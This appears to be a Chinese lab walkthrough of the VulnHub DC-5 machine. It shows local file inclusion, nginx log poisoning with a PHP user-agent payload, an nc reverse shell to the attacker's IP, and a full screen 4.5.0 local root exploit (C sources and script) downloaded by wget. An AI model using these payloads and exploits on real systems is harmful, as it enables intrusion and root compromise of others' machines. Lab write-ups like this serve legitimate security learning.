VulnHub DC 5入侵实战 – 作者:FFFcaptain328

基本配置

靶机是从VulnHub上下载的DC5:

1604146742_5f9d563647c588ba8b940.png!small

攻击机使用的是Kali2020.3

信息收集

Kali的网络配置:

1604146760_5f9d56482ab529ff94864.png!small

首先还是对虚拟网段进行扫描,网段为192.168.187.0/24:

1604146765_5f9d564d31c70ef20ef31.png!small

发现主机192.168.187.138

进一步扫描:

1604146772_5f9d56549f47f64d0df13.png!small

没能有更多收获。

这里有个111端口,提供的是rpcbind服务,顺手searchsploit一下:

1604146774_5f9d5656d646aacabfdb3.png!small

看了一下描述都是拒绝服务类的,也就作罢。

打开http://192.168.187.138浏览一下:

1604146784_5f9d566069db8b5e2d62f.png!small

使用PHP作为脚本,使用的服务器是nginx1.6.2,也顺手searchsploit一下:

1604146785_5f9d5661bde7ef5d1f381.png!small

也没有什么收获。

再用gobuster枚举一下网站中的php脚本以及目录:

gobuster dir -u 192.168.187.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

1604146826_5f9d568a4d5143dddf27d.png!small

初步的信息收集到此也基本上结束。

文件包含漏洞

下面将精神放在网站上,前几个Home、Solutions、About US和FAQ全是静态网页,只有看看contact有没有什么发现。

再contact页面底端可以提交一个表单,先随便提交一下看看:

1604146812_5f9d567cdc0230a1f2363.png!small

1604146815_5f9d567fb6c869e94a048.png!small

似乎还很正常,但是刷新一下之后:

1604146831_5f9d568f436bcbf610fa1.png!small

脚标发生了变化,这时我想起来在之前枚举网站脚本时有一个叫footer.php的脚本,现在访问一下:

1604146837_5f9d5695410a3f30103fb.png!small

原来这个脚本就是生成脚标的脚本。那么thankyou.php的实现可能是在thankyou.php中通过包含footer.php来生成脚标,这样已经满足了文件包含漏洞的条件。

为了验证这个猜想,接下来试图访问

http://192.168.187.138/thankyou.php?file=/etc/passwd

结果脚标处变成了下图所示的样子:

1604146842_5f9d569a507515a7c8bf0.png!small

说明确实存在文件包含漏洞

进入靶机

那么接下来,就要想办法利用这个漏洞回弹一个shell给我的攻击机。

首先还是收集一些信息,既然可以任意查看网站的文件,那就先查看一下nginx服务器的配置文件/etc/nginx/nginx.conf:

1604146849_5f9d56a19ab91f5f6dbdb.png!small

拿到这个信息之后,我实在是有些无从下手,只有求助于网上的其他大佬,搜索了之后,参考这篇博客https://pentesterjourney.com/2019/09/18/vulnhub-dc-5-walkthrough/获得了一点思路。

从配置文件中可以得到日志文件的位置,先尝试访问access.log日志文件:

1604146854_5f9d56a69b319588116cd.png!small

由于之前用gobuster爆破过,所以日志内容非常多,但是好在可以访问。划到底端查看最近的日志,发现日志中还包含有用户的代理(Firefox),于是可以通过发送一个HTTP报文,将用户代理部分的字符串写成一段PHP语句来毒化日志。这里使用curl进行操作,也可以使用burpsuite:

curl -A "<?= shell_exec('whoami');?>" http://192.168.187.138/thankyou.php # 先发送一个whoami命令

1604146858_5f9d56aa4a29374709eab.png!small

如图,可以在日志底部找到www-data(后面还有值是因为为了刷新日志又访问了几次网页),说明可以通过这种方式远程执行指令。

那么接下来就利用这种方法,使用nc回弹一个shell

curl -A "<?= shell_exec('nc -e /bin/bash 192.168.187.130 4444')?>" http://192.168.187.138/thankyou.php
nc -lvp 4444
# 然后刷新网页

1604146869_5f9d56b510c36efbdb2d1.png!small

成功连接。

用python切换成一个交互式的shell:

python -c 'import pty; pty.spawn("/bin/bash")'

1604146872_5f9d56b89dacc3a5cf0e0.png!small

至此我进入了DC5靶机,那么按照惯例先收集一点基本的信息:

1604146876_5f9d56bcb124670c3c635.png!small

现在所在的是一个正常的环境。

前往/home看看:

1604146879_5f9d56bf9550ee9e00fd4.png!small

也没什么收获

提权

那么接下来要做的就是提权了。

先查看是否有带root权限的命令:

1604146888_5f9d56c8a1432026c379c.png!small

有个screen-4.5.0好像之前没见过,留意一下。

然后执行sudo -l看看:

1604146888_5f9d56c891946ad523b01.png!small

没有结果。

再看看内核版本:

1604146893_5f9d56cd947265c5aa90e.png!small

searchsploit一下:

1604146900_5f9d56d4bdce8f9dda718.png!small

这个漏洞看了看描述,与提权的目标关联不大,于是暂时搁置。

那么视线又回到那个没见过的screen-4.5.0上面来,google一下第一条就出来的是利用这个提权,还给出了exploit,那么先searchsploit一下找到对应的exploit:

1604146905_5f9d56d90f2eba5d848cc.png!small

要使用的应该就是这个.sh文件了,打开看一下:

1604146949_5f9d5705efc804acd16bb.png!small

把其中C程序的部分挑出来,分别保存为libhax.c和rootshell.c

// libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
// rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

再整理剩下的.sh文件,保存到41154.sh中:

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

根据exploit的提示,编译两个C程序:

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

准备工作完成,下面在当前文件夹启动一个小的HTTP服务:

1604146934_5f9d56f6e50b7020a4f97.png!small

靶机先切换到/tmp目录下,用wget下载可执行文件和41154.sh

wget http://192.168.187.130:8000/41154.sh
wget http://192.168.187.130:8000/libhax.so
wget http://192.168.187.130:8000/rootshell

然后为41154.sh 赋予执行的权限,执行脚本即可获得root:

来到/root目录下,读取flag:

总结

这次DC5靶机是我目前为止感觉比较困难的一个靶机,特别是回弹shell之前的过程我一开始几乎没有什么头绪,不过还好在看了看大佬的解答以及查了资料之后,还算是学有所获。

这次获得的新知识:

  • 学习了新工具gobuster的一些基本用法

  • 初步了解了文件包含漏洞

  • 存在毒化nginx日志来运行代码的可能性

  • 了解了新的提权方式,利用特权指令的漏洞进行提权

还需进一步学习的知识:

  • 文件包含漏洞还涉及很深的点,现在只是粗略地了解了一点

来源:freebuf.com 2020-10-31 20:24:37 by: FFFcaptain328

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论